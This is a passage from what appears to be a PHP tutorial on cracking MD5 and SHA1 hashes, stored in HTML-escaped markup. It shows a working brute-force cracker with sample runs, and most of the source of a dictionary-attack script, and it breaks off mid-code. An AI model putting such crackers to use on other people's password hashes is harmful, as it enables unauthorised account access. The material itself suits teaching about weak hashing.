&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;$algo=&quot;SHA1&quot;;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;break;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;//Else print error msg&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;default;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;echo &quot;Could not determine the encryption algorithm.\n&quot;;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;echo &quot;Ensure that the Hash is correct and try again.\n&quot;;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;exit();&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// generate initial key&lt;br /&gt;
$key = &quot;&quot;;&lt;br /&gt;
for ($y=0;$y&amp;lt;$len;$y++){&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;$key .= &quot;0&quot;;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// return some info to the user&lt;br /&gt;
echo&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&quot;Specified string length:&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;$len characters\n&quot;.str_repeat(&quot;-&quot;,65).&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&quot;\n$algo hash:&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;$hash\n&quot;.str_repeat(&quot;-&quot;,65).&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&quot;\nKeySpace:&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;$keyspace characters\n&quot;.str_repeat(&quot;-&quot;,65).&quot;\n&quot;;&lt;br /&gt;
&lt;br /&gt;
// loop through the keyspace&lt;br /&gt;
for ($x=0;$x&amp;lt;$keyspace;$x++){&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;// generate random string&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;for ($y=0;$y&amp;lt;$len;$y++){&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;// if we haven&#39;t reached &quot;z&quot; yet, move on to the next character&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;if ($key[$y] != &quot;z&quot;){&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;// create character from number&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;$key[$y] = chr(ord($key[$y])+1);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;// zero the rest of the string out&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;if ($y &amp;gt; 0){&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;for ($z = 0; $z &amp;lt; $y; $z++){&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;     &lt;/span&gt;$key[$z] = &quot;0&quot;;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;}&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;}&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;break;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;}&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;// create hash from random string&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;$gen_hash = ($algo==&quot;MD5&quot;)? md5($key):sha1($key);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;// if the hashes match we have a winner!&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;if($hash==$gen_hash){&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;// inform the user we cracked the hash&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;echo&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&quot;\nDecrypted string:&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;$key\n&quot;.&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;str_repeat(&quot;-&quot;,65).&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;&quot;\nOperation took:&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;&quot;.&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;date(&quot;H:i:s&quot;,mktime(0,0,strtotime(&quot;now&quot;)-$start2)).&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;&quot;\n&quot;.str_repeat(&quot;-&quot;,65).&quot;\n&quot;;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;// and exit&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;exit(0);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;// print out some statistics&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;if ($x % 24000 == 0){&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;$x2++;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;if ($x2 == 4){&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;$x2 =0;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;$time = strtotime (&quot;now&quot;) - $start;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;$start = strtotime(&quot;now&quot;);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;if ($time==0) $time=1;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;$rate = (24000 *4) / $time;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;echo &quot;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;$x/$keyspace ($key) [$rate Keys/sec]&quot;.&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;&quot; [&quot;.round(100-(($keyspace-$x)/$keyspace)*100,3).&quot;%]&quot;.&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;&quot; [&quot;.gmdate(&quot;H:i:s&quot;, round((($keyspace-$x)/$rate),3)).&quot; left]\n&quot;;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;}&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// if the keyspace loop is finished with no match inform the user we failed&lt;br /&gt;
echo&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&quot;\nKeyspace exhausted.\n&quot;.&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&quot;Please check the provided lentgh and try again.\n&quot;&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*********************************************************************************************&lt;br /&gt;
&lt;br /&gt;
Lets give this baby a trial run.&lt;br /&gt;
&lt;br /&gt;
For an MD5 hash:&lt;br /&gt;
---------------------------------------------------------------------------------------------&lt;br /&gt;
zapotek@lil-z:~/Documents&amp;gt; php bruteforcer.php 900150983cd24fb0d6963f7d28e17f72 3&lt;br /&gt;
MD5/SHA1 Bruteforcer&lt;br /&gt;
by Zapotek &amp;lt;zapotek [at] segfault.gr&lt;br /&gt;
&lt;br /&gt;
Specified string length: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;3 characters&lt;br /&gt;
-----------------------------------------------------------------&lt;br /&gt;
MD5 hash: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 900150983cd24fb0d6963f7d28e17f72&lt;br /&gt;
-----------------------------------------------------------------&lt;br /&gt;
KeySpace: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 421875 characters&lt;br /&gt;
-----------------------------------------------------------------&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 72000/421875 (1l&amp;lt;) [96000 Keys/sec] [17.067%] [00:00:03 left]&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 168000/421875 (1qM) [96000 Keys/sec] [39.822%] [00:00:02 left]&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 264000/421875 (1v^) [96000 Keys/sec] [62.578%] [00:00:01 left]&lt;br /&gt;
&lt;br /&gt;
Decrypted string: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; abc&lt;br /&gt;
-----------------------------------------------------------------&lt;br /&gt;
Operation took: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 00:00:03&lt;br /&gt;
-----------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
---------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
For a SHA1 hash:&lt;br /&gt;
---------------------------------------------------------------------------------------------&lt;br /&gt;
zapotek@lil-z:~/Documents&amp;gt; php bruteforcer.php a9993e364706816aba3e25717850c26c9cd0d89d 3&lt;br /&gt;
MD5/SHA1 Bruteforcer&lt;br /&gt;
by Zapotek &amp;lt;zapotek [at] segfault.gr&lt;br /&gt;
&lt;br /&gt;
Specified string length: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;3 characters&lt;br /&gt;
-----------------------------------------------------------------&lt;br /&gt;
SHA1 hash: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;a9993e364706816aba3e25717850c26c9cd0d89d&lt;br /&gt;
-----------------------------------------------------------------&lt;br /&gt;
KeySpace: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 421875 characters&lt;br /&gt;
-----------------------------------------------------------------&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 72000/421875 (1l&amp;lt;) [96000 Keys/sec] [17.067%] [00:00:03 left]&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 168000/421875 (1qM) [96000 Keys/sec] [39.822%] [00:00:02 left]&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 264000/421875 (1v^) [96000 Keys/sec] [62.578%] [00:00:01 left]&lt;br /&gt;
&lt;br /&gt;
Decrypted string: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; abc&lt;br /&gt;
-----------------------------------------------------------------&lt;br /&gt;
Operation took: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 00:00:03&lt;br /&gt;
-----------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
---------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
Well, that&#39;s easy, lets give it a bit of a challenge.&lt;br /&gt;
Let&#39;s see what happens with &quot;fb50df9b6b86db51569f2bab6457a24e&quot; (= &quot;zapo&quot;)&lt;br /&gt;
(I&#39;d give it &quot;zapotek&quot; but the keyspace would get exhausted at around 6hours, so...)&lt;br /&gt;
---------------------------------------------------------------------------------------------&lt;br /&gt;
zapotek@lil-z:~/Documents&amp;gt; php bruteforcer.php fb50df9b6b86db51569f2bab6457a24e 4&lt;br /&gt;
MD5/SHA1 Bruteforcer&lt;br /&gt;
by Zapotek &amp;lt;zapotek [at] segfault.gr&lt;br /&gt;
&lt;br /&gt;
Specified string length: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;4 characters&lt;br /&gt;
-----------------------------------------------------------------&lt;br /&gt;
MD5 hash: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fb50df9b6b86db51569f2bab6457a24e&lt;br /&gt;
-----------------------------------------------------------------&lt;br /&gt;
KeySpace: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 31640625 characters&lt;br /&gt;
-----------------------------------------------------------------&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 72000/31640625 (1l&amp;lt;0) [96000 Keys/sec] [0.228%] [00:05:28 left]&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 168000/31640625 (1qM0) [96000 Keys/sec] [0.531%] [00:05:27 left]&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 264000/31640625 (1v^0) [96000 Keys/sec] [0.834%] [00:05:26 left]&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;.............&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 26664000/31640625 (1D?o) [96000 Keys/sec] [84.271%] [00:00:51 left]&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 26760000/31640625 (1IPo) [48000 Keys/sec] [84.575%] [00:01:41 left]&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 26856000/31640625 (1Nao) [96000 Keys/sec] [84.878%] [00:00:49 left]&lt;br /&gt;
&lt;br /&gt;
Decrypted string: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; zapo&lt;br /&gt;
-----------------------------------------------------------------&lt;br /&gt;
Operation took: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 00:03:57&lt;br /&gt;
-----------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
---------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
Pretty cool huh?&lt;br /&gt;
By the way, the time reported at the right is how much it will take for the script to try all&lt;br /&gt;
the possible combinations and not necessarily the exact time it&#39;ll take to crack a given hash.&lt;br /&gt;
&lt;br /&gt;
The comments in code make it easy to grasp so I won&#39;t explain it line-to-line, so I&#39;ll just paint&lt;br /&gt;
you the big picture in steps.&lt;br /&gt;
&lt;br /&gt;
1) Read the hash &amp;amp; estimated string length from user input&lt;br /&gt;
2) Decide hash type depending on it&#39;s length (given that the hash is hexadecimal)&lt;br /&gt;
3) Compute the keyspace (75^estimated string length)&lt;br /&gt;
4) Create an initial key containing only &quot;0&quot;s&lt;br /&gt;
5) Loop until we have reached the end of the keyspace&lt;br /&gt;
6) Loop until we have crated a random string&lt;br /&gt;
7) Compare the random string&#39;s hash with the one provided by the user&lt;br /&gt;
8) If we have a match inform the user and exit, else keep looping&lt;br /&gt;
9) If we have exhausted the keyspace tell the user we were unable to find a matching hash&lt;br /&gt;
&lt;br /&gt;
That&#39;s pretty much it...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[ 0x0a ] Dictionary Attack&lt;br /&gt;
============================================&lt;br /&gt;
If you understood the previous chapter this will be a walk in the park.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[ 0x08 ] Theory&lt;br /&gt;
============================================&lt;br /&gt;
Dictionary attacks are like brute force attacks, but significantly easier.&lt;br /&gt;
Instead of creating our own random strings we read them from a dictionary and then test them against&lt;br /&gt;
a given hash. And, instead of looping until the end of the keyspace, we loop until the end of file.&lt;br /&gt;
That&#39;s all there is to it.&lt;br /&gt;
Now, to some code.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[ 0x09 ] Source Code Analysis&lt;br /&gt;
============================================&lt;br /&gt;
dicattack.php:&lt;br /&gt;
*********************************************************************************************&lt;br /&gt;
#!/usr/bin/php&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
&lt;br /&gt;
/*&lt;br /&gt;
&amp;nbsp;* @author:&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt; zapotek &amp;lt;zapotek[at]segfault.gr&amp;gt;&lt;br /&gt;
&amp;nbsp;* @version:&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt; 0.1&lt;br /&gt;
&amp;nbsp;* @name:&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt; DicAttack&lt;br /&gt;
&amp;nbsp;* @description: A sample dictionary attacker in PHP.&lt;br /&gt;
&amp;nbsp;*/&lt;br /&gt;
&lt;br /&gt;
$supported= &quot;MD5/SHA1&quot;;&lt;br /&gt;
$name= array_shift($argv);&lt;br /&gt;
$wordlst= array_shift($argv);&lt;br /&gt;
$hash= array_shift($argv);&lt;br /&gt;
&lt;br /&gt;
// timer&lt;br /&gt;
function getmicrotime() {&lt;br /&gt;
&amp;nbsp; &amp;nbsp; list ($usec, $sec)= explode(&quot; &quot;, microtime());&lt;br /&gt;
&amp;nbsp; &amp;nbsp; return ((float) $usec + (float) $sec);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; // the function that does the cracking&lt;br /&gt;
&amp;nbsp; &amp;nbsp; function crack($algo) {&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; global $wordlst, $hash;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // start the timer&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $time_start= getmicrotime();&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;// read the dictionary&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $wordlist= file_get_contents($wordlst);&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;// do some error checking&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if (!$wordlist) {&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; echo &quot;Cannot access $wordlst.\n&quot;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; echo &quot;Ensure that the file exists and try again.\n&quot;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }else{&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // put the words in an array&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $words=explode(&quot;\n&quot;,$wordlist);&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // create each word&#39;s hash&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; foreach ($words as $word) {&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;// create the word&#39;s hash&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; switch ($algo) {&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; case &quot;md5&quot;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $word_hash= md5($word);&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; case &quot;sha1&quot;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $word_hash= sha1($word);&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;// compare the hashes&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if ($word_hash == $hash) {&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // stop the timer&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $time_stop= getmicrotime();&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; echo &quot;Crack Successful!\n&quot;.&quot;-----------------\n&quot;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; echo &quot;$hash = $word\n&quot;.&quot;-----------------\n&quot;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $time= $time_stop - $time_start;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; echo &quot;[ Operation took $time seconds ]\n\n&quot;;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp;exit();&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;br /&gt;
&amp;nbsp; &amp;nbsp; }&lt;br /&gt;
&lt;br /&gt;
// in case of insuficient arguments return usage info&lt;br /&gt;
if ($argc != 3) {&lt;br /&gt;
&amp;nbsp; &amp;nbsp; stamp();&lt;br /&gt;
&amp;nbsp; &amp;nbsp; exit();&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// decide the hash type&lt;br /&gt;
// given that the hash is in hexadecimal format&lt;br /&gt;
switch (strlen($hash)) {&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; // if the hash is 32 bytes it must be a MD5 Hash&lt;br /&gt;
&amp;nbsp; &amp;nbsp; case 32;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; echo &quot;\nGuessing MD5...\n\n&quot;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; crack(&quot;md5&quot;);&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; // if the hash is 40 bytes it must be a MD5 Hash&lt;br /&gt;
&amp;nbsp; &amp;nbsp; case 40;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; echo &quot;\nGuessing SHA1...\n\n&quot;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; crack(&quot;sha1&quot;);&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break;&lt;br /&gt;
&lt;br /&gt;
